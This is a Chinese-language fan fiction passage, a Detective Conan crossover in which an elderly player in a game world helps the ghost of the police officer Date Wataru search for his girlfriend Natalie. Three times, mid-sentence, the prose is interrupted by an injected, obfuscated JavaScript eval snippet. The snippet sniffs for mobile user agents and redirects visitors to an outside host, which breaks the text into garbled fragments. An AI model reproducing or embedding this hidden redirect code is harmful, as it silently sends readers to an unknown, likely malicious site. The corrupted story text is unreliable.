自从前几天看见了松下文都次和前田站在一起,又发现安室透在假装不认识松下,这个小侦探就一直在留意松下文都次。而更加恰巧,今天他就在街上偶遇了此人。那时的松下跟自己的秘书正在谈论接下来的行程,他听到了些许关键词: “姓板仓的朋友……文件和圣经……” 板仓。 当时他与我孙子慈在书房看见的那本圣经,扉页寄语的下方,写着的名字,正是之前他获得的日记的主人,那个软件工程师,板仓卓。 “你在又在案件嫌疑人的身上放了监听器吗?”阿笠博士如此问,他坐在那辆黄色甲壳虫的驾驶位上,没开车,旁边的座位上摆着他的罪证——画着黄色“M”字眼的袋子,“说真的,新一,我偶尔会觉得你这孩子以后没准会走上歪路啊。” “小心我把你干的事告诉灰原,博士。” 江户川柯南、不,工藤新一只需要一句话就能把这个看着自己长大的博士给堵回去,他正在思考那段鼓点究竟有什么奇特之处。 “好吧,好吧……” 15.六十二岁、车祸 对老年人来说、至少对藤次晃这个老年人来说,一个美好的上午无论如何都不应该以这种方式度过——面前的警察小哥来来往往,其中的两位停在他面前,询问他这个险些成为受害者的人关于这场车祸的细节情况。 “关于司机,在这之前、您和他认识吗?” 姓高木的年轻人把相同的问题问了第二遍。 “不认识。” 好脾气的藤次晃回复道,他人没事,只是手里的拐杖替他挡过一劫,老家人寄来的那根白蜡木手杖折成了三截,死状凄惨。 故事发生在上午十点钟,那时的藤次晃正要前往波洛咖啡厅享用他的早餐,这个世界的时间过于错乱,每天查看日期都是开盲盒。只是在这种情况下,老爷爷依然保持住了自己每周三上午去波洛吃早餐的习惯。 然而,在刚到波洛咖啡厅的店门口,就有一辆小型货车疾驰而来,直直冲着他。 干嘛。 想让在游戏世界的他也体验一把成为动漫男主角的待遇吗? 不要了吧,他这把年纪,穿进游戏世界已经足够难为情了,再叠buff的话,听起来有点像虐待老人。 “我孙子先生不认识很正常,”榎本梓为他作证了,事发当时,她在店里备料,那辆送货的小货车突然闯进店里,也幸亏店里没有什么人,“那是我们店里一直合作的运货员,之前我们接货一直是在后门的……不过我和他也不怎么聊天,现在也只知道他姓加木。” “全名是?” “加木齐寺。” 来不及为这一点都不幽默的谐音梗笑了,因为接下来到达现场的就是侦探。小学生侦探江户川柯南目前正在学校学习那些幼稚的知识,楼上住着的毛利小五郎跑去外边赌马,最终解决这起案件的是看起来长着一张男大学生的脸,实际上却已经二十九岁快过三十大关的三流侦探安室透。 “是什么情况?” 警察问侦探。 “是意外。” 侦探如此回答,“加木先生疲劳驾驶了。” 他回答得太快,以至于给人的感觉就是在睁眼说瞎话;然而,又因为他是毛利小五郎的亲传弟子,所以警察们不得不相信。驾驶位上昏迷的加木被送去医院诊治,结果很快出来,通宵打游戏时间太长导致的脑部疲劳,于是开车时注意力涣散,差点把60岁老人送到异世界。 这就是为什么,在所谓的日常任务里,有个任务叫做“活着”吗? 【RZA10088:对的对的。】 【RZA10088:穿越到死神小学生的世界,首先要保证的就是安稳地活下去,此事在《犯泽》以及各类同人作品中有诸多记载。】 哈士奇客服时隔许久终于露面,它的口音已然恢复正常……不对,它又不是语音客服,哪里会有什么口音。相比于上次见面,这次,它的头像上多了个黑色的面罩,好像要去抢银行。 “看来今天是要闭店了。” 安室透望着凄惨的咖啡店,感叹道。 “虽然这么说不太好,”榎本梓附和道,两个服务生动作一致,都从围裙中掏出电话,打算打电话给老板报备情况,“但是能提早下班,可真是太好了。” 这么松弛吗? 带着另一个目的来的藤次晃很想这么问。 然而他终究是没能问出口,只是深深地看了安室透一眼。根据便利店门口那个忘了自己名字的鬼的说法,这个在咖啡店工作的金发男子大概率是那鬼生前的熟人。 只是。 真的要问吗? 年迈的玩家又把视线从安室透身上移开了,落在半空中的系统任务上。自从昨天他和那个幽灵谈完话,这东西就一直飘在他眼前,无时无刻不提醒他去帮鬼达成未了的心愿。 【突发事件:寻找娜塔莉。 任务内容:帮助□□□找到他生前的女友。 时间限制:无。 任务奖励:□□□□。】 打上码的任务奖励还是第一次见。 可能是他看的时间太久,站在系统任务弹窗下的高木警员抬头了。年轻人注意到他在看自己,迟疑了片刻,又看了看还没发布归队指令的上司,于是斗胆凑过来,询问道: “请问您有什么事吗,我孙子先生?” “……没什么事。” 藤次晃停顿了一下,还是问了:“如果我想找人的话,是要去警署询问、备案吗?” “啊,这种事啊,”高木很懂这些事,他是地方警署上来的,干过很长时间的巡警,现在仍然在干差不多的工作,“通常情况下是去市役所或者区役所按流程查询……如果是失踪情况,我建议您是直接报案,或者去找侦探。” “好的。” 高木是个好心人,他补充了一句:“如果你愿意的话,也可以跟我说一说。” “谢谢,”藤次晃就这样爽快地决定,把这件事交给更为靠谱的专业警察,安享晚年的秘诀之一就是学会对自己做不到或者懒得做的事放手,“是这样的,之前有封信寄到了我家里来,上面说是给一个叫娜塔莉的孩子,我想把这封信拿过去给她。” “只有一个名字、没有全名吗?” “全名……好像是叫娜塔莉·来间,或者叫来间娜塔莉,”藤次晃无心道,他没觉察安室透在他说出这个名字时,若有若无地将视线投到他身上,“应该是个和我一样的外籍居民,或者混血儿。” 高木挠了挠后脑勺,对这个名字,他总有种说不上的熟悉感: “只知道这点吗?” “她男朋友应该是个警察,”藤次晃又道,“有着海苔一样的眉毛、很高大,寸头或者是刺头,然后嘴巴里会叼什么东西……这是那封信里面写的,其他更多的我就不知道了。” 【任务道具[虚假的信件]已生成。】 【道具存放位置:风衣外套内侧口袋。】 老人将手探进风衣内侧口袋,很快就摸到了那封系统生成的信。它边角泛黄,褶皱明显,赫然一副时间久远饱经风霜的模样,只是在身为教师的藤次晃眼中,造假程度略微明显—— 他家那几个小孩都是放假不做作业的混世魔王,每每到返校前一天,都要化身《猫鼠游戏》的弗兰克,把作业本当成支票那样造假。 然而。 在他拿出那封信时,面前这个姓高木的小哥就像是失了魂一样,注视着上面的字。 好半晌,他才缓过神来。 “虽然这么说可能有点凑巧,”他抹了一把眼睛,又吸了吸鼻子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788032|172950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,像是花粉过敏,然而这个季节哪里有什么花粉,“我、呃……我可能,刚好认识你要找的这位女士。” “是吗?” “是的,他是我一个死去前辈的女友,”高木小哥点了点头,他的声音说到一半,低了下去,可能是怕冒犯到死者,“不过、很遗憾的是,来间小姐……她在去年就已经死了,是自缢。” “……原来如此,”藤次晃面色不改,“那么,那孩子的家里人呢?” “在去年的车祸里去世了。” 别人的悲惨总是让人唏嘘的,藤次晃沉默了片刻,缓慢地点点头,只是用平静的语气说了一句“麻烦你了”。他把那封假信收了回去,本想拄着拐杖离开,却想起了自己的拐杖已经惨烈牺牲。 “请用这个吧。” 悄然出现在他们附近的安室透道,他手里握着把黑色的伞,伞柄处贴了个三明治的贴纸,大概是用来区分伞主人的特殊标志: “虽然比不上真正的拐杖,但这把伞还称得上结实。” “倒也不是……” 金发深肤色的年轻人笑着把伞放到了藤次晃手里,不给他拒绝的机会:“请用吧。” 这个年轻人长得实在周正,莫名其妙的就让藤次晃在他身上感受到所谓的条子、呸,警察气,老年人就这样被迷惑,没拒绝对方好意。他迈开腿,打算去告诉那个便利店门口的鬼这个消息,只是刚转身,又转回来,他还有其他的问题没问。 “我还有件事要问。” 高木小哥得走了,但他还是很有耐心:“什么?” “你那个前辈叫什么名字?” “他姓伊达,”高木道,“伊达航,是搜查一课强行犯搜查三系的警部补……同时是个非常值得尊敬的人。” 如果不是时间不允许,想来这个年轻人会透露更多的信息给藤次晃。安室透的笑容没有变化,他目视着这一老一少分别,好半晌,等到无人时,才收起笑容。 他的手机在口袋中振动了两下,有人给他发来了消息。 是公安部的人,他们终于破解了部分《圣经》上的暗号,确定板仓卓确实有相关的游戏工程文件备份,然而,还有一个坏消息——那就是,关于文件存储位置的暗号,似乎是以另一种形式交给了松下文都次。 ……他大概率是要去找江户川柯南那孩子合作了。 安室透收起手机,如此想。 在他不去关注的另一边,藤次晃忽然停下来脚步。老年人抬头,看着突然出现在前面路灯下的、熟悉的男鬼,以及面前那个仍然存在的系统任务窗,忍不住陷入了思考当中。 “呦。” 名为伊达航的鬼挥了挥手,他兴致冲冲,连脸上的海苔眉毛都扬了起来:“虽然觉得现在的情况应该同我孙子爷爷你有点关系,但你肯定会说这不重要……所以,爷爷见到那个金色头发的男人了吗?有问出消息吗?” “……” 藤次晃一时不知道该唏嘘还是该报警。 他其实很想说“谁是你爷爷”“我没有你这么大的孙子”之类的话,但最后,老年人只是叹了口气,他那平静的、不含怜悯的目光对上了伊达航的双眼。 老人平静地说: “你要找的那孩子,她死了。” 16.六十二岁、压马路 鼓点…… 江户川柯南仍旧思考着他听见的那阵鼓点。 这已经是他思考的第二天了。在昨天,他已经尝试过用各种解密方法去解读它——把它当做摩斯密码的话,解读出来的字句语义不连贯、读起来也毫不通顺;用二进制,得到的也是看起来毫无关联的三串数字,没有其他线索的情况下,任凭他这个侦探想破脑袋,也不想不出他们的含义。 “居然也会有你这家伙想不出来的事。” 住在阿笠博士家的灰原哀就这样冷淡地嘲讽了他。在此之前,她贡献的许多猜想都被江户川柯南一一否认,饶是她有再好的耐心,也会被这个侦探消磨殆尽,于是,她不参与了,打了个哈欠,就回自己的房间去。 “一直耗下去也不是办法,”阿笠博士劝道,“新一,想不出来的东西还是先放一放吧——试着出去走走呢,没准忽然就想通了。” 江户川柯南想不想地就反驳了: “我感觉我很快就会想明白的。” “可你昨天也是这么说的。” 再怎么不情愿,戴眼镜的孩子侦探也终究是被这位把他从小看到大的监护人放到了人来人往的街上,顾名思义,是放松加寻找新线索。只是还没迈两步,江户川柯南就看见了一道熟悉的身影。 是当时,他和安室透在返程路上聊过的我孙子慈。 那个中老年人手持一根偏长的手杖,穿着水泥灰色的风衣、还戴着一个报童帽,他打扮得分明不显眼,却意外地吸引人的注意,一眼看去,给人的感觉就像是…… 某些会社刚刚退休的领导高层。 而且这个老人的表情,此时很是冷淡。 他似乎是不喜欢人多的地方,又或者是觉得人多的地方很吵,皱着眉,握着棕褐色的手杖等待红灯变绿。江户川柯南还没来得及打招呼,这个清瘦的老人家已经跟着人潮,往街对面走去。 “——爷爷!” 出于自己侦探的直觉,江户川柯南就这样跟了上去,而他脱口而出的、便是这个亲近的称呼。 我孙子慈、不,藤次晃,他回头了。 ……其实他并没有听到江户川柯南的声音。 从刚才开始,他一直在听他身边的幽灵伊达航说话。昨天上午时分,藤次晃告知了这个年轻人他女友的死讯,那时,伊达还因为这个悲伤的消息保持沉默,可一个晚上过去,不知道这家伙到底是想了些什么,又恢复了正常。 然而,话里话外,莫名有一种希望你带他去找对方鬼魂的感觉。 “你的生活还真是单调呢,”伊达航说,他观察了藤次晃将近一天,又翻看了人家家里的一切,最终确定这个老人家真的从早到晚只干三件事,吃饭、压马路和睡觉,“爷爷。” 你还指望有多有趣? 如果藤次晃的脸上有字,那大概率写的就是这句话。 他的朋友多数都因为上了年纪被孩子送进了养老院或者自己回了乡下,见面见不着,联系也就这么断了;孩子们都有自己的生活要过,孙子孙女外孙女现在也就假期见一两面。 如果不是这个游戏突然降临,他的生活将还会是平静的死水。 这也就是为什么藤次晃的出门压马路没有任何乐趣可言,他就像是打卡一样,在什么没见过的建筑前停一停,或者去各个公园坐一整天,游荡到天黑,然后回家。 只比是地缚灵的伊达航好上一点,却不多。 海苔眉毛的鬼在他身边走来走去,一会看人一会看路,还抽空看了看附近的指示牌与地图,可能是什么关键词唤醒了他的记忆,他想也不想地就把话说出口: “我记得目黑区那边有家卡拉OK,他家的麦克风质量挺好的……哦,我们警察学校在附近。” 在鬼魂年轻人说话时,老人家并不搭话,毕竟现在他们一人一鬼是在人潮拥挤的街道上,不是在家里,也不是在没有人的其他地方。他回答一句勉强能当做自言自语,可看伊达航的话量,藤次晃但凡回复一次,就会有第二次、第三次。 人潮算不上特别拥挤,伊达航在他身边,直走,魂体穿过人体,就这样没有礼貌地进出了很多人的身体。 走到一半,他突然停下脚步。 “有人喊你。” 藤次晃顺着他手指指着的方向看去,正好看见了那个戴着眼镜、脑袋顶着个揪揪的小孩。 有点眼熟。 之前他们必然见过,只是藤次晃的记人能力实在差劲,他只会记住关键点。随着时代进步,戴眼镜的小孩自然也多了起来——这孩子跑向了他,又开口,喊了一声: “我孙子爷爷!” 侦探家的孩子。 “下午好,”藤次晃瞬间变得温和了起来,他记起来这孩子的全名了,“是柯南君啊。” “我孙子爷爷要去哪里?” 侦探总是能养出好奇心旺盛的孩子,又或者说,只有好奇心旺盛的孩子才能成为侦探。身边的伊达航凑过来,看了看这孩子的长相,观察好半天后,皱着眉说: “这孩子他长得有点大众脸啊。” ——哦? “我见过两个和他长得一模一样的高中生,”伊达航道,停了停,又说,“没准是三个,还有一个皮肤黑了点。” ——其实我觉得你们所有亚洲人都长得差不多。 把这句话藏进心底的藤次晃继续关注面前这个鼻嘎大点的小孩,没有血缘关系也没有亲缘关系的爷孙俩就这样走过路口的红绿灯,到了安全地带,藤次晃这才回答了孩子的问题: “我出来随便走走。” 江户川柯南的视线又落在了他那根棕褐色的手杖上,他记得第一次见面,藤次晃拿的还是那根白蜡木手杖;而这根,它的做工明显比白蜡木的精细许多,握把处的套头工艺也十分精湛——换而言之,这根不像是日常出行使用的。 于是,外表年幼的侦探又问了一遍: “真的吗?” “真的——” 老人的话语尚未落下,在场所有人和鬼都听见了坡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792577|172950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上传来的惊恐叫声:“啊啊啊啊啊啊啊啊啊啊可乐!——爸爸、爸爸错了!你停下啊啊啊——” ………… 历史好像总是惊人的相似。 片刻后,再一次被狗抢走手杖的藤次晃如此想。 阴暗的死宅声泪俱下恳求自己的狗放过爷爷的拐杖,而白色的狗叼着棍子,不依不饶,往前跑,用棍子打路边电线杆的脚,又往后几步,让棒子打它亲爸的头。 “田中先生?” 记忆力很好的江户川柯南疑惑喊道。 “啊,我是田中,”田中直树一边安抚犯罪嫌疑狗的情绪,一边回头,看见江户川柯南时,只感觉有些熟悉,但没想起来他是谁,等看见藤次晃时,就变得恍然大悟了,“哦哦哦……是我孙子先生吗?” 藤次晃礼貌地点了点头。 他旁边的伊达航提醒这个男人(即使他清楚这个家伙听不见),道:“文件掉了。” 散落一地的A4纸张上是一些外行人不太在意、在意了也不一定能看懂的谱子。江户川柯南捡了几张,左看右看,只能看出这是那天他在窃听器中听见的鼓点,没看出其他的特别。 “这些是……?” “啊,这是我工作要用的东西,”田中直树说,他接过柯南递来的几张纸,将它们装回了一个文件袋子里,而那个牛皮纸的文件袋子上写着三行奇怪的数字,“我习惯把谱子打印出来看,因为这样没有灵感的时候我可以撕纸解压……诶?” 柯南的视线死死盯着牛皮档案袋上的数字,差点忘了松手。 很快,他意识到自己的表情不太妥当,瞬间“诶嘿嘿”地尴尬笑笑,挠了挠自己的脑袋,用小孩子的语气问道: “这是什么啊?” 田中疑惑:“数字吗?” “对。” “这是我常去的那家便利店店长的打印习惯,”田中很爽快地说了,“第一行原本是东京的各区域名的罗马音,店长习惯把它们简化成数字,第二个是取件人名字的罗马音,也是被简化了——第三个就类似于取件码了。” 江户川柯南双眼发亮,像是搞懂了什么未解之谜般,高兴得快要跳起来。 “啊。” 伊达航也发出了感叹:“我记起来了,之前娜塔莉经常去打印的那家便利店老板也是这种习惯……我们的公寓好像也在这附近,不知道清没清理……” 说到一半,他停下来。 “我们能去我和她之前的公寓看看吗?” 藤次晃转了转手上的尾戒,莫名的,他感觉宝石有点硌指背。老人家再一次把宝石转到了朝地面的方向,指环原先背面雕刻的奇异纹路也在这时成了正面。 然后,他接过了田中从自己狗孩子口中夺回来的手杖。 “时间不早了,”藤次晃说,他的意思就是带旁边这个鬼去那个公寓看一看,“我这个老人家就先回去了。” 江户川柯南不疑有他,乖巧地挥手,和他道别: “我孙子爷爷拜拜!” 17.六十二岁、扇人 “这种公寓真的很麻烦呢,”在藤次晃艰难上楼时,旁边的伊达航如此感叹着,“没有电梯,低楼层又住满了人,只能往高楼层选,每天上下班爬楼梯都感觉累;墙壁的隔音也不好,晚上说话都得小声,即使这样,旁边的邻居还是没事找事地贴纸条过来……” 藤次晃选择在楼梯的休息平台处停下脚,他得歇一歇。 一口气爬三楼这种事,也就只有坚持锻炼的年轻人能做到了。他不行,他是老年人,还是个没什么运动的老年人,这种爬楼梯的行为和把他按在地上摩擦没啥区别,都能被称作是在虐待老人。 “加油啊爷爷。” 伊达航还在那边鼓励着他,看得出来,他真的很想知道那个很有可能被租出去了的公寓里,还存不存在他和女友生活过的痕迹。 高大的鬼站在台阶上方,光穿过他半透明的身体,没给下面的藤次晃投下半分阴影,这正是下午日头最毒辣的时候,就算有高眉骨,老人家也得微微低头才能睁眼,这就导致他没看见伊达航脸上的表情,只听见这个鬼说:“就快到了。” ……如果不是他们之间的距离不能超过五米,想来这种时候,这个男鬼已经“噔噔噔”地跑到那个公寓门口了。 白金色头发的老人累了,却没有随意坐下,他就杵着拐杖,直直地站着。等到云飘过,太阳被挡住,光弱下来,藤次晃这才继续动身,往上走。 而在他上最后一层楼的过程里,伊达航又开口了: “说起来……” “嗯?” 藤次晃艰难地上楼,抽空回了一个语气词。他表面上看起来不紧不慢,实际上已经走了有一会儿了。 “爷爷你见过别的鬼吗?” “你觉得呢?” 老爷爷不是很想回答这个年轻鬼魂的问题。艰辛万苦终于爬上五楼的他很想把拐杖一扔,就这么躺倒在楼梯口的地上。然而,有人、准确来说是有鬼看着,他还要脸,所以只能硬撑。 伊达航不说话,但态度明显是“我猜你见过”,而藤次晃懒得去说之前在松下家看到松下马克斯鬼魂的事。 现在在他们面前的是一道长长的走廊,一扇门接着一扇门,门边的墙壁上挂着门牌号和姓氏,伊达航和藤次晃挨个看了过去——靠门这边的用户姓佐藤,往前走,又是一个佐藤,再往前走,还是一个佐藤。 这里是只有姓佐藤的人才能入住的公寓吗?还是说同姓氏报团入住房租减半、水电全免? 有意思。 “怎么这么多佐藤?” 伊达航自然注意到这点,身为前警察的他皱眉,下一秒就打算在周围观察观察,看能不能找到原因。藤次晃继续向前走,在路过第四扇佐藤时,终于找到了伊达航曾经住过的公寓,不过,正如之前猜测的那样,这间公寓已经被租了出去,门牌上的姓氏既不是伊达也不是来间。 而是佐藤。 这层楼真的被佐藤承包了。 “真是奇了怪了,”穿墙而过进屋探查的伊达航出来,海苔眉毛皱得更加厉害,“里面没有家具,倒是放了好几个工作台,一时看不出来是做什么的。” 不多管闲事是藤次晃的准则,于是,他把伊达航的话当做耳边风,听一下就过了。 “要进去吗?” 老人家问道,他抬起手,打算代替伊达航敲门。 而伊达航这个前任屋主却制止了,不知道是近乡情怯,还是其他原因,总之,他说:“等一下。” 本来也没打算敲门的老爷爷从善如流放下了手。 前警察深吸一口气,下一秒,就一个猛子扎进墙里,消失不见。进去不到三十秒,他又出来了,脸黑得能滴墨。 “怎么了?” 藤次晃秉承着人道主义开口问了。 “里面有人。” 伊达航道,他的表情在说这件事不只是屋里有人这么简单,更精准一点的形容就是不允许开派对的房东来视察,发现有人在出租屋里开派对还把地板烧了的不满。 见多识广的老人沉思片刻,问道:“在□□*?” “地上有注射器,”伊达的这一句意思不必多说,就是肯定了藤次晃的说法,日本这边对相关药物的管制和海那边的大国相比,称得上宽松,但也说得上是明令禁止,“躺了三个人,还有一个在门板边坐着,应该也吸了。” “你要找的那孩子呢?” “……” 鬼魂青年沉默了。 藤次晃摩挲了一下手杖的握把,他看了看面前的门、不,是门板上的系统任务,它没有显示完成,就代表伊达航没有找到那位娜塔莉。只是就高木和伊达提供的信息来说,应该就是这间屋子没错。 “我进去看看。” 老人家道。 这句话把伊达航吓了一跳,然而,就算他想阻止,也惨遭失败。外国人长相的老头用力敲了三下门,等待一会儿,又以同样的频率敲了三下,屋里无人应答,大多还沉醉在叶子的后颈里。 于是老人后退两步,抬脚。 他一下踹坏了门锁,破门而入。 跟在他身后的伊达航看看门锁上的痕迹,又看看背影清瘦的藤次晃,只觉得自己被老人家的外表诈骗了,他很想问这个老爷爷年轻的时候是干什么的,却又觉得问出口显得他有点没见过世面。 藤次晃杵着手杖进门,扫了一圈,直接踹了门边上的守卫一脚。 “起来。” 他平静地说。 坐在地板上那个脸颊凹陷的瘦削年轻人迷迷糊糊地睁眼,结果一边喊着“谁啊”一边抬头,就对上了藤次晃的眼睛。老人的视线太过冰冷,只让他头皮发麻背后发凉——这个陌生的外国佬太给人压力了。 “你谁……”啊! 守门的本想虚张声势,但是话还没说完,藤次晃就打断了他。 “东西呢?” “啊?” “我问你东西呢,”藤次晃表情冰冷,语气也冷得接近零下,“你们已经玩忽职守到这种程度了吗,也不知道他们为什么要把你们安排在这里,年轻人就是不靠谱。” “你这个臭老头——” 啪—— 在此人话还没说完之前,老年人反手一个巴掌就扇了过去。 尾戒上的宝石有着尖锐的棱角,直接在这个家伙的脸上划出一道血痕来。藤次晃依旧面不改色,仿佛这只是他作为上司或者是交易方对这个小喽啰发出的警告,他从口袋中摸出手帕,擦了擦尾戒上的血,开口道: “不要让我说第三遍,我可不是你们的好上司,能惯着你们偷自己手下的货。” 最后一句一说出口,就算再对藤次晃的身份有疑虑,也会信上七八分。被扇巴掌的年轻人捂着脸,眼神逐渐清澈起来,他太年轻了,很容易轻信别人,因此,他“噢噢噢噢”了起来,随后就四肢不协调、跌跌撞撞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797821|172950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地去给藤次晃拿东西。 “什么东西?” 伊达航终究没忍住,问了。 而老爷爷用手帕捂住了自己的口鼻,露出一副嫌恶的表情,实际上在偷偷地给鬼魂回复,他说: “不知道。” 但根据经验,肯定有就对了。 趁着那个脑子懵了的小伙去取东西的短暂时间,藤次晃扫了一圈周围,果然如伊达航所言,没有女人的身影。这群人在租下这个房子的时候直接保留了里面的装修,当年那些情侣的甜蜜装潢已经被糟蹋得不成样子,难怪伊达航会感到气愤。 伊达航拓展了自己搜索的范围,他仔仔细细地搜索了客厅、卧室与厨房,甚至是卫生间,却还是没找到自己女友的踪迹。 他垂头丧气地回来了,恰巧此时,那个愚蠢的年轻人也拿出了东西,递给藤次晃。 “这就是你要的东西。” 一个棕色的牛皮纸档案袋。 里面装着的是什么,藤次晃一无所知,伊达航也是。但老头仍旧是那副淡定的模样,接过,在手上掂量了几下,这才点头确认,表示没错,他要的东西就是这个。 他就这样带着这份东西走了,而在走之前,老头用充满压迫感的眼神扫过了他和躺在地上其他人,警告道: “没有下次。” “是、是……” 年轻人赔笑,他如同苍蝇一样擦手,额头上冒汗,道:“我们保证不会再出现这种情况的,您放心好了,相田先生。” 藤次晃撇了他一眼,只道: “别自作聪明地试探我。” 和学生们斗智斗勇多年,藤次晃早已熟悉这种小年轻的套路,毕竟过去就有学生用类似的话术想从他嘴里试探修学旅行的地点,或者是考前想从他这里获取范围。 守门的表情一僵,很快缓和回来,只是道: “哎呀,真是抱歉。” 这个中老年外国佬就这样拎着东西离开,他身边这个没人看见的鬼魂伊达航啧啧称奇,怎么也想不明白藤次晃是靠什么手段得到那人信任的。 “你以前到底是干什么的?” 走下楼时,伊达航问。 “英语老师。” 藤次晃头也不抬,答。 “娜塔莉也是英语老师,”伊达航觉得这个老头在框他,一个正常的英语老师不需要学如何踹门,也不会在面对可疑分子时,以这种自然而然的态度融入进去,使对方信服,“她和你不一样——还有一件事,你是怎么知道那群人在……” “气味。” 老头说,他没有选择下楼,反而是往楼上走去:“这种味道我在外面闻多了。” “可你怎么知道他们有接头的任务的?” “你会在一个不大的地方安排三个以上的保安吗,”藤次晃又道,六楼是彻彻底底的、无人居住的楼层,他停在一扇门前,拧了拧把手,确认上锁了后,就不再动,只是转移了话题,“房子里你都看个遍了,确认没有那孩子的影子?” “是。” “有地方没看吗?” “我想没有。” 藤次晃的视线虚虚停在面前的门板上,在他的眼中,这个水泥灰色的门上,写着一句至关重要的话: 【任务[寻找娜塔莉]已完成,任务奖励[□□□□]正在发放中……】 于是他说: “那你现在找到了。” 18.六十二岁、训练宝可梦 事实上,藤次晃刚才开挂了。 也不能这样说,那算不上开挂,而是别人主动提供给他的帮助——这个别人具体指的是哈士奇客服,它猛然出现,像是他上大学回家后没生活费也没零花钱了的孙女,每回都偷偷摸摸地问“爷爷你要喝奶茶吗”然后从他手里拿走几张钞票出门潇洒快活。 【RZA10088:人,你需要帮助吗?】 他需要吗? 他不需要,站他旁边这个找不着女朋友鬼魂的海苔眉毛才需要。 那时的藤次晃才刚拿到东西,他看了一眼难掩失落的鬼,最终还是好人做到底,最后再帮这家伙一把。 【RZA10088:前恋爱脑帮助现恋爱脑吗,有意思?】 ——? 还没看清,这条消息就消失殆尽。 【RZA10088:已为您打开导航地图,请跟随导航所显示路线行进,根据地图显示,您与「娜塔莉」之间的直线距离为……】 【RZA10088:5米。】 这种时候知道该用什么知识吗? 勾股定理知道吗?直角三角形斜边最长的那个,顺带一提,建筑的层高通常是3米,加上吊顶与楼板,大概就3.1、3.2左右。 【藤次晃:往上还是往下?】 【RZA10088:往上。】 防止被伊达航发现端倪,藤次晃垂着眼,拆着手里的文件袋,里面装着的是几张CD硬盘,相对于现在的科技水平来说,真是有点落后了,一般人家里甚至可能连读盘器都扔了吧。 “……可你是怎么知道他们们有接头任务的?” 伊达航从楼下跟了上来,他还问着呢,警察的好奇心就这么重吗? 不知道啊。 藤次晃如此想。他确实不知道,完完全全地不知道,但他当了三四十年的教师,知道干坏事的学生是什么样的——毕竟以前上课,他走到教室后排,手一伸能得到四台游戏机和数十个米奇妙妙工具。 真是富有的私立学校啊。 他随口敷衍了过去,再抬头,看向面前的门板,看到任务提示时,他就清楚自己没找错,就是这儿。 果不其然,当伊达航探身进门,下一秒,就惊喜地喊了起来: “娜塔莉!” 可能因为是幽灵,所以隔了门板,藤次晃也把他声音听了个一干二净。没有打扰年轻人谈恋爱这一想法的老年人握着拐杖,一时不知道自己该走还是该留在这儿。 如果他走,那伊达航也得跟着他走,留不下来,他就成了破坏情侣感情的罪魁祸首。 但如果他留这儿。 ——听小年轻墙角,害不害臊啊? “娜塔莉……”屋里的伊达航或许是拥抱了那孩子,那家伙不住地喊着女友的名字,“娜塔莉……娜塔莉……” 唉,年轻人。 藤次晃在门外,想堵住自己的耳朵,却毫无办法。老年人慢悠悠地转身,背靠上了已经斑驳的墙,看着栏杆与屋檐分割后的天空,他打算想些事让自己忽略门里的声音,比如晚饭吃什么,再比如晚饭吃什么。 但越是去想,声音落入他耳朵里,越发清晰。 伊达航的声音从惊喜逐渐演变为了疑惑,说起来,从方才开始,藤次晃一直没听到过那位娜塔莉小姐的声音:“娜塔莉,我在这里、看看我……我在这里,你看看我……” “是你在生气吗?” “对不起,”伊达航似乎是在情感关系中很坦率的那种类型,道歉的速度很快,态度也十分真诚,“对不起,娜塔莉,是我来得太晚了——对不起,一切都是我的错,娜塔莉,看看我,拜托你转过来看看我……” 娜塔莉仍旧不说话。 于是。 伊达航的声音慌乱了起来,给藤次晃的感觉就像是走失许久的狗回家,发现主人只是埋头不说话,完全不看他,于是狗害怕了起来,在主人身边不断打转,试图挤进主人的世界里去: “对不起,娜塔莉,对不起……你看看我吧,我在这里,我回来了——我不会再走了,娜塔莉,我不会再离开你了,你可不可以、就只是,抬头,看我一眼就好?” “……是出了什么事吗?” 他停了片刻,不知为何,藤次晃听见了吸鼻子的声音,不过鬼应该是没有感冒这一说法的:“你看不到我,也听不到我了,是吗?” ——苦情剧啊。 藤次晃想要叹气了。这么说有些冒犯人家,但也确实,这听起来实在有些太像是苦情剧里的情节了,离家多年的男主回乡,见到的却是被过度磋磨的妻子。 只是,他作为外人,并不好评价或者插手别人家里的事。 拐杖底端戳着地面,藤次晃转了个圈,移开,就在地面上留下一个坑一般的圆形印记。没人入住的楼层经常这样积攒灰尘,他抬头,往来时的路看了,却没怎么看到自己的鞋印。 如果不仔细观察,还真是没法发现他到楼上来了。 “蠢货!” 楼下传来了暴跳如雷的叫喊,应该是那几个昏睡的人醒了过来,噼里啪啦地就大发雷霆了:“我养你是吃白饭吗?!狗都比你聪明、有人来拿东西还能搞错?我说了!要给的是砂糖,你这家伙把什么给出去了?啊?!你怎么能把账——!” 